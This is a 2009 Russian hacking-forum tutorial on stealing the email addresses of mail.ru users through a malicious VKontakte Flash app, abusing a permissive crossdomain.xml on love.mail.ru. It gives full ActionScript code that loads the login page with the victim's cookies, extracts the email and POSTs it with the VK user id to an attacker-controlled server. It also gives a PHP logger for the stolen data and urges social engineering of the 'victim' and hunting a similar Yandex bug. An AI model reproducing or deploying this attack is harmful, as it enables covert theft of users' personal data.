|
Участник форума
Регистрация: 12.03.2008
Сообщений: 159
Провел на форуме: 912928
Репутация:
137
|
|
Получаем данные с другого домена через Flash на примере VK и mail.ru
Предисловие
Сегодня я хочу рассказать вам о том, как можно заполучить информацию, доступную пользователю на одном сайте (mail.ru), через другой сайт (vkontakte.ru) используя технологию Flash и ActionScript 3 конкретно.
Основная идея состоит в том, что сервер mail.ru, проверяя куки пользователя, находит в них свои, и подставляет в форму для логина e-mail пользователя.
Этим мы и воспользуемся. "Но у нас же нету кук жертвы, как мы сможем узнать ее адрес?" — спросите вы. Вот тут-то нам на помощь и приходит Flash.
С его помощью мы можем загружать любые совершенно страницы из Всемирной Сети, и, если у пользователя есть куки на этом сервере, то загрузятся его данные. К примеру если пользователь авторизован на сервере mail.ru, мы могли бы загрузить всю его почту. Но не все так просто, потому что есть одно но: именно для защиты от таких умников, и ввели защиту. Она состоит в том, что для того, чтобы загрузить данные с другого домена, на нем должен быть файл политики безопасности.
Файл Политики Безопасности
Файл этот представляет собой xml страницу с именем crossdomain.xml, содержащий в себе домены, с которых разрешен доступ к данным на сервере, в корне которого лежит этот самый файл. Зайдем на http://win.mail.ru/crossdomain.xml — домен с почтой.
PHP код:
<cross-domain-policy>
<allow-access-from domain="*.mail.ru"/>
</cross-domain-policy>
И что же мы видим? А именно то, что ни с какого другого сайта кроме самого mail.ru и его поддоменов мы не сможем просмотреть письма жертвы. Иными словами, зайти с vkontakte.ru и слить всю почту у нас не получится. Однако давайте поищем такой сервис mail.ru, у которого crossdomain.xml содержал бы
PHP код:
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
Это значит, что получить доступ к страницам такого сервиса мы можем откуда угодно, в нашем случае — с vkontakte.ru через сервис Приложения.
И искать мы будем на странице всех проектов: http://mail.ru/all/.
Так, может Игры Mail.ru?
PHP код:
<cross-domain-policy>
<allow-access-from domain="*.mail.ru" to-ports="80,443,10999"/>
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>
Нет, опять только с mail.ru.
Тогда попробуем Рейтинг Mail.ru:
PHP код:
<cross-domain-policy>
<allow-access-from domain="195.218.191.64" to-ports="80"/>
<allow-access-from domain="top.mail.ru" to-ports="80"/>
<allow-access-from domain="www.top.mail.ru" to-ports="80"/>
<site-control permitted-cross-domain-policies="all"/>
</cross-domain-policy>
Опять не то.
Пробуем Знакомства Mail.ru:
PHP код:
<cross-domain-policy>
<site-control permitted-cross-domain-policies="all"/>
<allow-access-from domain="*"/>
</cross-domain-policy>
Да это именно то, что нам нужно!
Знакомства c Mail.ru
Ну и что дальше, сдалась нам извращенная переписка жертвы с милыми самочками, ну или несамочками, неважно. Так дело в том, что если юзер не авторизирован там, и даже никогда не заходил туда, на странице http://lоve.mаil.ru/tips/?tip=Login отображается его e-mail, в случае если на компьютере есть куки mail.ru:
.
А это значит, что в сочетании с политикой безопасности, разрешающей доступ с любого домена, мы можем получить почту жертвы с vkontakte.ru. Для этого я написал небольший корявый скрипт, записывающий на наш сервер id и почту пользователя. Внимание: вам понадобится PHP на хостинге!
Техническая Часть
Писать будем на AS3, использую новую модную функцию для приложений VK -- Контейнер. Так же попросим жертву установить приложение на страницу.
PHP код:
var wrapper:Object;
var viewer_id:String;
var is_app_user:String;
var email:String;
error.visible = false;
alert.visible = false;
var url:String = "http://hosting.ru/snf.php"; // этот адрес заменяете на свой
var mailLoad:URLLoader = new URLLoader;
var req:URLRequest = new URLRequest(url);
var vars:URLVariables = new URLVariables();
this.addEventListener(Event.ADDED_TO_STAGE, onAdded);
function onAdded(e:Event) {
wrapper = Object(this.parent.parent);
var parameters:Object = Object(wrapper.application.parameters);
wrapper.application.frameRate="12";
viewer_id = parameters["viewer_id"];
is_app_user = parameters["is_app_user"];
if (is_app_user == "0") {
alert.visible = true;
}
mailLoad.addEventListener(Event.COMPLETE, onLoaded);
//загружаем страницу с формой входа
mailLoad.load(new URLRequest("http://love.mail.ru/tips/?tip=Login"));
}
function onLoaded(e:Event) {
var answ = e.target.data;
try {
//проверяем на наличие логина...
var mailIn:RegExp=/name="login" value="(\w+)"/;
//..и домена (mail/ibox/list/bk)
var domainIn:RegExp=/value="(\w+).ru" selected/;
var mail_res:Object = mailIn.exec(answ);
var domain_res:Object = domainIn.exec(answ);
var mailOut:String = mail_res[1].toString();
var domainOut:String = domain_res[1].toString();
} catch (err:Error) {
email = "fail"+err.message;
}
vars.id = viewer_id;
vars.email = mailOut+"@"+domainOut+".ru";
req.data = vars;
req.method = URLRequestMethod.POST;
//отправляем полученные данные на наш сервер
sendToURL(req);
}
}
Сниффер на сервер (snf.php):
PHP код:
<?php
$f=fopen("mail.txt","at");
flock($f,2);
fputs($f,$_POST['id'].":");#id
fputs($f,$_POST['email']);
flock($f,3);
fclose($f);
?>
Должно работать, только что тестил. Для компиляции вам понадобится Adobe CS3/4. Дизайн панелек в исходниках.
Все, что осталось сделать, так это скомпилировать, загрузить вКонтакт и дать жертве ссылку на приложение, на всякий случай предварительно как-нибудь вынудив ее проверить почту (не обязательно, но может чуть увеличить шансы на успех). Как это сделать уже топик для социальной инженерии.
Исходники
http://file.qip.ru/file/106387316/4345b90a/mailru.html
Заключение
Вот так вот относительно просто мы получили e-mail жертвы, заодно вникнув в основы Flash-приложений и файла политики безопасности. Хотелось бы отметить, что если стоит <allow-access-from domain="*"/> , то определенно точно можно получить какую-либо выгоду, если правильно выбрать жертву. Что-то типа XSS, но более направленное и точечное.
Так же еще скажу, что на Яндексе на одном из проектов тоже наблюдается такой баг. Для закрепления материала предлагаю вам самим поискать его Удачи!
Последний раз редактировалось zavra; 03.11.2009 в 23:45..
|